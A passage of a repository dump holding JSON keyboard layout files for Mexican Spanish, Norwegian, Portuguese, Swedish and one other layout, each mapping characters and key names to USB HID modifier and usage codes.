\"00,00,15\",\n   \"R\":          \"02,00,15\",\n   \"s\":          \"00,00,16\",\n   \"S\":          \"02,00,16\",\n   \"t\":          \"00,00,17\",\n   \"T\":          \"02,00,17\",\n   \"u\":          \"00,00,18\",\n   \"U\":          \"02,00,18\",\n   \"v\":          \"00,00,19\",\n   \"V\":          \"02,00,19\",\n   \"w\":          \"00,00,1a\",\n   \"W\":          \"02,00,1a\",\n   \"x\":          \"00,00,1b\",\n   \"X\":          \"02,00,1b\",\n   \"y\":          \"00,00,1c\",\n   \"Y\":          \"02,00,1c\",\n   \"z\":          \"00,00,1d\",\n   \"Z\":          \"02,00,1d\",\n   \"1\":          \"00,00,1e\",\n   \"!\":          \"02,00,1e\",\n   \"2\":          \"00,00,1f\",\n   \"\\\"\":         \"02,00,1f\",\n   \"3\":          \"00,00,20\",\n   \"#\":          \"02,00,20\",\n   \"4\":          \"00,00,21\",\n   \"$\":          \"02,00,21\",\n   \"5\":          \"00,00,22\",\n   \"%\":          \"02,00,22\",\n   \"6\":          \"00,00,23\",\n   \"&\":          \"02,00,23\",\n   \"7\":          \"00,00,24\",\n   \"'\":          \"02,00,24\",\n   \"8\":          \"00,00,25\",\n   \"(\":          \"02,00,25\",\n   \"9\":          \"00,00,26\",\n   \")\":          \"02,00,26\",\n   \"0\":          \"00,00,27\",\n   \"ENTER\":      \"00,00,28\",\n   \"ESC\":        \"00,00,29\",\n   \"ESCAPE\":     \"00,00,29\",\n   \"BACKSPACE\":  \"00,00,2a\",\n   \"TAB\":        \"00,00,2b\",\n   \"ALT-TAB\":    \"04,00,2b\",\n   \"SPACE\":      \"00,00,2c\",\n   \" \":          \"00,00,2c\",\n   \"-\":          \"00,00,2d\",\n   \"=\":          \"02,00,2d\",\n   \"^\":          \"00,00,2e\",\n   \"~\":          \"02,00,2e\",\n   \"@\":          \"00,00,2f\",\n   \"`\":          \"02,00,2f\",\n   \"[\":          \"00,00,30\",\n   \"{\":          \"02,00,30\",\n   \"\\\\\":         \"00,00,31\",\n   \"|\":          \"02,00,31\",\n   \"]\":          \"00,00,32\",\n   \"}\":          \"02,00,32\",\n   \";\":          \"00,00,33\",\n   \"+\":          \"02,00,33\",\n   \":\":          \"00,00,34\",\n   \"*\":          \"02,00,34\",\n   \",\":          \"00,00,36\",\n   \"<\":          \"02,00,36\",\n   \".\":          \"00,00,37\",\n   \">\":          \"02,00,37\",\n   \"/\":          \"00,00,38\",\n   \"?\":          \"02,00,38\",\n   \"CAPSLOCK\":   \"00,00,39\",\n   \"F1\":         \"00,00,3a\",\n   \"F2\":         \"00,00,3b\",\n   \"F3\":         \"00,00,3c\",\n   \"F4\":         \"00,00,3d\",\n   \"F5\":         \"00,00,3e\",\n   \"F6\":         \"00,00,3f\",\n   \"F7\":         \"00,00,40\",\n   \"F8\":         \"00,00,41\",\n   \"F9\":         \"00,00,42\",\n   \"F10\":        \"00,00,43\",\n   \"F11\":        \"00,00,44\",\n   \"F12\":        \"00,00,45\",\n   \"PRINTSCREEN\":\"00,00,46\",\n   \"SCROLLLOCK\": \"00,00,47\",\n   \"PAUSE\":      \"00,00,48\",\n   \"BREAK\":      \"00,00,48\",\n   \"INSERT\":     \"00,00,49\",\n   \"HOME\":       \"00,00,4a\",\n   \"PAGEUP\":     \"00,00,4b\",\n   \"DELETE\":     \"00,00,4c\",\n   \"DEL\":        \"00,00,4c\",\n   \"END\":        \"00,00,4d\",\n   \"PAGEDOWN\":   \"00,00,4e\",\n   \"RIGHTARROW\": \"00,00,4f\",\n   \"RIGHT\":      \"00,00,4f\",\n   \"LEFTARROW\":  \"00,00,50\",\n   \"LEFT\":       \"00,00,50\",\n   \"DOWNARROW\":  \"00,00,51\",\n   \"DOWN\":       \"00,00,51\",\n   \"UPARROW\":    \"00,00,52\",\n   \"UP\":         \"00,00,52\",\n   \"NUMLOCK\":    \"00,00,53\",\n   \"MENU\":       \"00,00,65\",\n   \"APP\":        \"00,00,65\"\n}\n"
  },
  {
    "path": "languages/mx.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"'\":\"00,00,2d\",\n    \"¿\":\"00,00,2e\",\n    \"´\":\"00,00,2f\",\n    \"+\":\"00,00,30\",\n    \"}\":\"00,00,31\",\n    \"ñ\":\"00,00,33\",\n    \"{\":\"00,00,34\",\n    \"|\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"¡\":\"02,00,2e\",\n    \"¨\":\"02,00,2f\",\n    \"*\":\"02,00,30\",\n    \"]\":\"02,00,31\",\n    \"Ñ\":\"02,00,33\",\n    \"[\":\"02,00,34\",\n    \"°\":\"02,00,35\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"\\\\\":\"05,00,2d\",\n    \"~\":\"05,00,30\",\n    \"`\":\"05,00,31\",\n    \"^\":\"05,00,34\",\n    \"¬\":\"05,00,35\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"COMMAND-CTRL-SHIFT\":\"12,00,00\",\n    \"COMMAND-CTRL\":\"12,00,00\",\n    \"COMMAND-OPTION-SHIFT\":\"12,00,00\",\n    \"@\":\"40,00,14\"\n}\n"
  },
  {
    "path": "languages/no.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"+\":\"00,00,2d\",\n    \"\\\\\":\"00,00,2e\",\n    \"'\":\"00,00,31\",\n    \"|\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"`\":\"02,00,2e\",\n    \"^\":\"02,00,30\",\n    \"*\":\"02,00,31\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"@\":\"40,00,1f\",\n    \"$\":\"40,00,21\",\n    \"{\":\"40,00,24\",\n    \"[\":\"40,00,25\",\n    \"]\":\"40,00,26\",\n    \"}\":\"40,00,27\",\n    \"~\":\"40,00,30\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,30\",\n    \"COMMAND-CTRL\":\"40,00,30\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,30\"\n}"
  },
  {
    "path": "languages/pt.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"'\":\"00,00,2d\",\n    \"+\":\"00,00,2f\",\n    \"~\":\"00,00,32\",\n    \"\\\\\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"*\":\"02,00,2f\",\n    \"`\":\"02,00,30\",\n    \"^\":\"02,00,32\",\n    \"|\":\"02,00,35\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"@\":\"40,00,1f\",\n    \"{\":\"40,00,24\",\n    \"[\":\"40,00,25\",\n    \"]\":\"40,00,26\",\n    \"}\":\"40,00,27\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,27\",\n    \"COMMAND-CTRL\":\"40,00,27\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,27\"\n}"
  },
  {
    "path": "languages/se.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"+\":\"00,00,2d\",\n    \"'\":\"00,00,31\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"~\":\"02,00,20\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"`\":\"02,00,2e\",\n    \"^\":\"02,00,30\",\n    \"*\":\"02,00,31\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    